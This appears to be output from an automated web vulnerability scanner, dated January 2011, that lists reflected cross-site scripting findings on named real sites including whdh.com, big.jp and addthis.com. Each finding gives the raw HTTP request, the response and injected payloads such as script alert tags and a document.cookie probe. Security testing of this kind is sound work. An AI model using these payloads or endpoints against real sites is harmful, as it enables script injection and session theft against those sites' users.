The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 258ae"><a>2a536c67b5b was submitted in the REST URL parameter 4. This input was echoed as 258ae\"><a>2a536c67b5b in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /features/articles/hank/BO144588258ae"><a>2a536c67b5b/ HTTP/1.1 Host: www1.whdh.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ACC1TAB=1; __utmz=208585492.1295906131.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=208585492.509901533.1295906131.1295906131.1295906131.1; WHDHSTR=d2c1b5275a3ff835402a31251d91c0c5; __utmc=208585492; __utmb=208585492.1.10.1295906131;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 21:58:12 GMT Server: Apache/2.0.46 (Red Hat) Accept-Ranges: bytes X-Powered-By: PHP/4.3.2 Cache-Control: must-revalidate Age: 0 Cache-Control: max-age=7150 Via: HTTP/1.1 www1.whdh.com (MII-WSD/1.4) X-Pb-Mii: Powered by Mirror Image Internet Expires: Mon, 24 Jan 2011 23:56:32 GMT Content-Type: text/html; charset=ISO-8859-1 Via: 1.1 dfw107007 (MII-APC/1.6) Connection: close Content-Length: 11959
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <title>Hank Investigates - </title> <meta name="publisher" content="New England News Statio ...[SNIP]... <a href="javascript:void(0);" onclick="ShareLink(this,'http://www.whdh.com/features/articles/hank/BO144588258ae\"><a>2a536c67b5b/','')" onmouseout="ShareLinkClose()"> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 33552"><a>1e0ed6ad923 was submitted in the REST URL parameter 4. This input was echoed as 33552\"><a>1e0ed6ad923 in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /features/articles/hiller/BO14477133552"><a>1e0ed6ad923/ HTTP/1.1 Host: www1.whdh.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ACC1TAB=1; __utmz=208585492.1295906131.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=208585492.509901533.1295906131.1295906131.1295906131.1; WHDHSTR=d2c1b5275a3ff835402a31251d91c0c5; __utmc=208585492; __utmb=208585492.1.10.1295906131;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 21:57:57 GMT Server: Apache/2.0.46 (Red Hat) Accept-Ranges: bytes X-Powered-By: PHP/4.3.2 Cache-Control: must-revalidate Age: 0 Cache-Control: max-age=7150 Via: HTTP/1.1 www1.whdh.com (MII-WSD/1.4) X-Pb-Mii: Powered by Mirror Image Internet Expires: Mon, 24 Jan 2011 23:56:17 GMT Content-Type: text/html; charset=ISO-8859-1 Via: 1.1 dfw107007 (MII-APC/1.6) Connection: close Content-Length: 11981
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <title>The Hiller Instinct - </title> <meta name="publisher" content="New England News Stat ...[SNIP]... <a href="javascript:void(0);" onclick="ShareLink(this,'http://www.whdh.com/features/articles/hiller/BO14477133552\"><a>1e0ed6ad923/','')" onmouseout="ShareLinkClose()"> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 425a7"><a>418a61b9cc5 was submitted in the REST URL parameter 4. This input was echoed as 425a7\"><a>418a61b9cc5 in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /features/articles/hiller/BO144776425a7"><a>418a61b9cc5/ HTTP/1.1 Host: www1.whdh.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ACC1TAB=1; __utmz=208585492.1295906131.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=208585492.509901533.1295906131.1295906131.1295906131.1; WHDHSTR=d2c1b5275a3ff835402a31251d91c0c5; __utmc=208585492; __utmb=208585492.1.10.1295906131;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 21:57:56 GMT Server: Apache/2.0.46 (Red Hat) Accept-Ranges: bytes X-Powered-By: PHP/4.3.2 Cache-Control: must-revalidate Age: 0 Cache-Control: max-age=7151 Via: HTTP/1.1 www1.whdh.com (MII-WSD/1.4) X-Pb-Mii: Powered by Mirror Image Internet Expires: Mon, 24 Jan 2011 23:56:18 GMT Content-Type: text/html; charset=ISO-8859-1 Via: 1.1 dfw107007 (MII-APC/1.6) Connection: close Content-Length: 11981
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <title>The Hiller Instinct - </title> <meta name="publisher" content="New England News Stat ...[SNIP]... <a href="javascript:void(0);" onclick="ShareLink(this,'http://www.whdh.com/features/articles/hiller/BO144776425a7\"><a>418a61b9cc5/','')" onmouseout="ShareLinkClose()"> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 359b8"><a>9f425241799 was submitted in the REST URL parameter 4. This input was echoed as 359b8\"><a>9f425241799 in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /features/articles/hiller/BO144796359b8"><a>9f425241799/ HTTP/1.1 Host: www1.whdh.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ACC1TAB=1; __utmz=208585492.1295906131.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=208585492.509901533.1295906131.1295906131.1295906131.1; WHDHSTR=d2c1b5275a3ff835402a31251d91c0c5; __utmc=208585492; __utmb=208585492.1.10.1295906131;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 21:57:54 GMT Server: Apache/2.0.46 (Red Hat) Accept-Ranges: bytes X-Powered-By: PHP/4.3.2 Cache-Control: must-revalidate Age: 0 Cache-Control: max-age=7150 Via: HTTP/1.1 www1.whdh.com (MII-WSD/1.4) X-Pb-Mii: Powered by Mirror Image Internet Expires: Mon, 24 Jan 2011 23:56:15 GMT Content-Type: text/html; charset=ISO-8859-1 Via: 1.1 dfw107010 (MII-APC/1.6) Connection: close Content-Length: 11981
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <title>The Hiller Instinct - </title> <meta name="publisher" content="New England News Stat ...[SNIP]... <a href="javascript:void(0);" onclick="ShareLink(this,'http://www.whdh.com/features/articles/hiller/BO144796359b8\"><a>9f425241799/','')" onmouseout="ShareLinkClose()"> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 86139"><a>0a3ffc39662 was submitted in the REST URL parameter 4. This input was echoed as 86139\"><a>0a3ffc39662 in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /features/articles/hiller/BO14481386139"><a>0a3ffc39662/ HTTP/1.1 Host: www1.whdh.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ACC1TAB=1; __utmz=208585492.1295906131.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=208585492.509901533.1295906131.1295906131.1295906131.1; WHDHSTR=d2c1b5275a3ff835402a31251d91c0c5; __utmc=208585492; __utmb=208585492.1.10.1295906131;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 21:57:54 GMT Server: Apache/2.0.46 (Red Hat) Accept-Ranges: bytes X-Powered-By: PHP/4.3.2 Cache-Control: must-revalidate Age: 1 Cache-Control: max-age=7150 Via: HTTP/1.1 www1.whdh.com (MII-WSD/1.4) X-Pb-Mii: Powered by Mirror Image Internet Expires: Mon, 24 Jan 2011 23:56:14 GMT Content-Type: text/html; charset=ISO-8859-1 Via: 1.1 dfw107005 (MII-APC/1.6) Connection: close Content-Length: 11981
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <title>The Hiller Instinct - </title> <meta name="publisher" content="New England News Stat ...[SNIP]... <a href="javascript:void(0);" onclick="ShareLink(this,'http://www.whdh.com/features/articles/hiller/BO14481386139\"><a>0a3ffc39662/','')" onmouseout="ShareLinkClose()"> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 73919"><a>f70591e73e1 was submitted in the REST URL parameter 4. This input was echoed as 73919\"><a>f70591e73e1 in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /features/articles/hiller/BO14484173919"><a>f70591e73e1/ HTTP/1.1 Host: www1.whdh.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ACC1TAB=1; __utmz=208585492.1295906131.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=208585492.509901533.1295906131.1295906131.1295906131.1; WHDHSTR=d2c1b5275a3ff835402a31251d91c0c5; __utmc=208585492; __utmb=208585492.1.10.1295906131;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 21:57:51 GMT Server: Apache/2.0.46 (Red Hat) Accept-Ranges: bytes X-Powered-By: PHP/4.3.2 Cache-Control: must-revalidate Age: 0 Cache-Control: max-age=7150 Via: HTTP/1.1 www1.whdh.com (MII-WSD/1.4) X-Pb-Mii: Powered by Mirror Image Internet Expires: Mon, 24 Jan 2011 23:56:12 GMT Content-Type: text/html; charset=ISO-8859-1 Via: 1.1 dfw107010 (MII-APC/1.6) Connection: close Content-Length: 11981
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <title>The Hiller Instinct - </title> <meta name="publisher" content="New England News Stat ...[SNIP]... <a href="javascript:void(0);" onclick="ShareLink(this,'http://www.whdh.com/features/articles/hiller/BO14484173919\"><a>f70591e73e1/','')" onmouseout="ShareLinkClose()"> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 858e5"><a>f396a0cf518 was submitted in the REST URL parameter 4. This input was echoed as 858e5\"><a>f396a0cf518 in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /features/articles/holiday_helping/BO144709858e5"><a>f396a0cf518/ HTTP/1.1 Host: www1.whdh.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ACC1TAB=1; __utmz=208585492.1295906131.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=208585492.509901533.1295906131.1295906131.1295906131.1; WHDHSTR=d2c1b5275a3ff835402a31251d91c0c5; __utmc=208585492; __utmb=208585492.1.10.1295906131;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 21:58:07 GMT Server: Apache/2.0.46 (Red Hat) Accept-Ranges: bytes X-Powered-By: PHP/4.3.2 Cache-Control: must-revalidate Age: 0 Cache-Control: max-age=7150 Via: HTTP/1.1 www1.whdh.com (MII-WSD/1.4) X-Pb-Mii: Powered by Mirror Image Internet Expires: Mon, 24 Jan 2011 23:56:27 GMT Content-Type: text/html; charset=ISO-8859-1 Via: 1.1 dfw107006 (MII-APC/1.6) Connection: close Content-Length: 12009
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <title>Holiday Helping - </title> <meta name="publisher" content="New England News Station ...[SNIP]... <a href="javascript:void(0);" onclick="ShareLink(this,'http://www.whdh.com/features/articles/holiday_helping/BO144709858e5\"><a>f396a0cf518/','')" onmouseout="ShareLinkClose()"> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d0875"><a>c7bf7737f8f was submitted in the REST URL parameter 4. This input was echoed as d0875\"><a>c7bf7737f8f in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /features/articles/holiday_helping/BO144719d0875"><a>c7bf7737f8f/ HTTP/1.1 Host: www1.whdh.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ACC1TAB=1; __utmz=208585492.1295906131.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=208585492.509901533.1295906131.1295906131.1295906131.1; WHDHSTR=d2c1b5275a3ff835402a31251d91c0c5; __utmc=208585492; __utmb=208585492.1.10.1295906131;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 21:58:06 GMT Server: Apache/2.0.46 (Red Hat) Accept-Ranges: bytes X-Powered-By: PHP/4.3.2 Cache-Control: must-revalidate Age: 0 Cache-Control: max-age=7150 Via: HTTP/1.1 www1.whdh.com (MII-WSD/1.4) X-Pb-Mii: Powered by Mirror Image Internet Expires: Mon, 24 Jan 2011 23:56:27 GMT Content-Type: text/html; charset=ISO-8859-1 Via: 1.1 dfw107003 (MII-APC/1.6) Connection: close Content-Length: 12009
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <title>Holiday Helping - </title> <meta name="publisher" content="New England News Station ...[SNIP]... <a href="javascript:void(0);" onclick="ShareLink(this,'http://www.whdh.com/features/articles/holiday_helping/BO144719d0875\"><a>c7bf7737f8f/','')" onmouseout="ShareLinkClose()"> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b13e8"><a>1fc488627eb was submitted in the REST URL parameter 4. This input was echoed as b13e8\"><a>1fc488627eb in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /features/articles/holiday_helping/BO144727b13e8"><a>1fc488627eb/ HTTP/1.1 Host: www1.whdh.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ACC1TAB=1; __utmz=208585492.1295906131.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=208585492.509901533.1295906131.1295906131.1295906131.1; WHDHSTR=d2c1b5275a3ff835402a31251d91c0c5; __utmc=208585492; __utmb=208585492.1.10.1295906131;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 21:57:59 GMT Server: Apache/2.0.46 (Red Hat) Accept-Ranges: bytes X-Powered-By: PHP/4.3.2 Cache-Control: must-revalidate Age: 0 Cache-Control: max-age=7151 Via: HTTP/1.1 www1.whdh.com (MII-WSD/1.4) X-Pb-Mii: Powered by Mirror Image Internet Expires: Mon, 24 Jan 2011 23:56:21 GMT Content-Type: text/html; charset=ISO-8859-1 Via: 1.1 dfw107022 (MII-APC/1.6) Connection: close Content-Length: 12009
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <title>Holiday Helping - </title> <meta name="publisher" content="New England News Station ...[SNIP]... <a href="javascript:void(0);" onclick="ShareLink(this,'http://www.whdh.com/features/articles/holiday_helping/BO144727b13e8\"><a>1fc488627eb/','')" onmouseout="ShareLinkClose()"> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e840b"><a>5b88da6bb42 was submitted in the REST URL parameter 4. This input was echoed as e840b\"><a>5b88da6bb42 in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /features/articles/holiday_helping/BO144733e840b"><a>5b88da6bb42/ HTTP/1.1 Host: www1.whdh.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ACC1TAB=1; __utmz=208585492.1295906131.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=208585492.509901533.1295906131.1295906131.1295906131.1; WHDHSTR=d2c1b5275a3ff835402a31251d91c0c5; __utmc=208585492; __utmb=208585492.1.10.1295906131;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 21:57:57 GMT Server: Apache/2.0.46 (Red Hat) Accept-Ranges: bytes X-Powered-By: PHP/4.3.2 Cache-Control: must-revalidate Age: 0 Cache-Control: max-age=7150 Via: HTTP/1.1 www1.whdh.com (MII-WSD/1.4) X-Pb-Mii: Powered by Mirror Image Internet Expires: Mon, 24 Jan 2011 23:56:17 GMT Content-Type: text/html; charset=ISO-8859-1 Via: 1.1 dfw107022 (MII-APC/1.6) Connection: close Content-Length: 12009
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <title>Holiday Helping - </title> <meta name="publisher" content="New England News Station ...[SNIP]... <a href="javascript:void(0);" onclick="ShareLink(this,'http://www.whdh.com/features/articles/holiday_helping/BO144733e840b\"><a>5b88da6bb42/','')" onmouseout="ShareLinkClose()"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 8cb0a<script>alert(1)</script>b9f156601de was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /styles.css8cb0a<script>alert(1)</script>b9f156601de HTTP/1.1 Host: www25.big.jp Proxy-Connection: keep-alive Referer: http://www25.big.jp/~jamfe517%3Cscript%3Ealert(document.cookie)%3C/script%3Ec6ee4a3cfa8/leafnode+/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 22:28:33 GMT Server: Apache/2.2.15 (Unix) DAV/2 Content-Length: 2654 Content-Type: text/html; charset=UTF-8
The value of REST URL parameter 1 is copied into the HTML document as text between TITLE tags. The payload c2b33</title><script>alert(1)</script>909c52e451 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /styles.cssc2b33</title><script>alert(1)</script>909c52e451 HTTP/1.1 Host: www25.big.jp Proxy-Connection: keep-alive Referer: http://www25.big.jp/~jamfe517%3Cscript%3Ealert(document.cookie)%3C/script%3Ec6ee4a3cfa8/leafnode+/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 22:28:37 GMT Server: Apache/2.2.15 (Unix) DAV/2 Content-Length: 2668 Content-Type: text/html; charset=UTF-8
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload fe517<script>alert(1)</script>c6ee4a3cfa8 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /~jamfe517<script>alert(1)</script>c6ee4a3cfa8/leafnode+/ HTTP/1.1 Host: www25.big.jp Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 16:02:16 GMT Server: Apache/2.2.15 (Unix) DAV/2 Content-Length: 2664 Connection: close Content-Type: text/html; charset=UTF-8
The value of REST URL parameter 1 is copied into the HTML document as text between TITLE tags. The payload 4d9b2</title><script>alert(1)</script>c5f823129ca was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /~jam4d9b2</title><script>alert(1)</script>c5f823129ca/leafnode+/ HTTP/1.1 Host: www25.big.jp Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 16:02:18 GMT Server: Apache/2.2.15 (Unix) DAV/2 Content-Length: 2680 Connection: close Content-Type: text/html; charset=UTF-8
The value of REST URL parameter 2 is copied into the HTML document as text between TITLE tags. The payload 6a9c1</title><script>alert(1)</script>657fbadbcca was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /~jam/leafnode+6a9c1</title><script>alert(1)</script>657fbadbcca/ HTTP/1.1 Host: www25.big.jp Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 16:02:22 GMT Server: Apache/2.2.15 (Unix) DAV/2 Content-Length: 2680 Connection: close Content-Type: text/html; charset=UTF-8
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 7ad79<script>alert(1)</script>a8eb4739661 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /~jam/leafnode+7ad79<script>alert(1)</script>a8eb4739661/ HTTP/1.1 Host: www25.big.jp Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 16:02:20 GMT Server: Apache/2.2.15 (Unix) DAV/2 Content-Length: 2664 Connection: close Content-Type: text/html; charset=UTF-8
4.1884. http://www25.big.jp/~jam/leafnode+/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www25.big.jp
Path:
/~jam/leafnode+/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the HTML document as text between TITLE tags. The payload 886be</title><script>alert(1)</script>e48585103f0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /~jam/leafnode+/?886be</title><script>alert(1)</script>e48585103f0=1 HTTP/1.1 Host: www25.big.jp Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 16:02:08 GMT Server: Apache/2.2.15 (Unix) DAV/2 Content-Length: 2686 Connection: close Content-Type: text/html; charset=UTF-8
4.1885. http://www25.big.jp/~jam/leafnode+/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www25.big.jp
Path:
/~jam/leafnode+/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 68775<script>alert(1)</script>9e9dc9952f3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /~jam/leafnode+/?68775<script>alert(1)</script>9e9dc9952f3=1 HTTP/1.1 Host: www25.big.jp Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 16:02:06 GMT Server: Apache/2.2.15 (Unix) DAV/2 Content-Length: 2670 Connection: close Content-Type: text/html; charset=UTF-8
4.1886. http://www3.whdh.com/mobile/phoneforecast/settings.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www3.whdh.com
Path:
/mobile/phoneforecast/settings.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5bebc"><script>alert(1)</script>b51006e4a2e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 5bebc\"><script>alert(1)</script>b51006e4a2e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /mobile/phoneforecast/settings.php/5bebc"><script>alert(1)</script>b51006e4a2e HTTP/1.1 Host: www3.whdh.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8efaa"><script>alert(1)</script>9136b0f006 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /bookmark.php HTTP/1.1 Host: www.addthis.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=8efaa"><script>alert(1)</script>9136b0f006
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:03:18 GMT Server: Apache X-Powered-By: PHP/5.2.13 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Set-Cookie: Coyote-2-a0f0083=a0f022f:0; path=/ Content-Length: 92846
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>AddThis Social Bookm ...[SNIP]... <input type="hidden" id="url" name="url" value="http://www.google.com/search?hl=en&q=8efaa"><script>alert(1)</script>9136b0f006" /> ...[SNIP]...
The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload e1557<script>alert(1)</script>1877a8f3a1f was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /bookmark.php HTTP/1.1 Host: www.addthis.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=e1557<script>alert(1)</script>1877a8f3a1f
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:03:18 GMT Server: Apache X-Powered-By: PHP/5.2.13 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Set-Cookie: Coyote-2-a0f0083=a0f022f:0; path=/ Content-Length: 92835
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>AddThis Social Bookm ...[SNIP]... <h4>e1557<script>alert(1)</script>1877a8f3a1f - Google search</h4> ...[SNIP]...
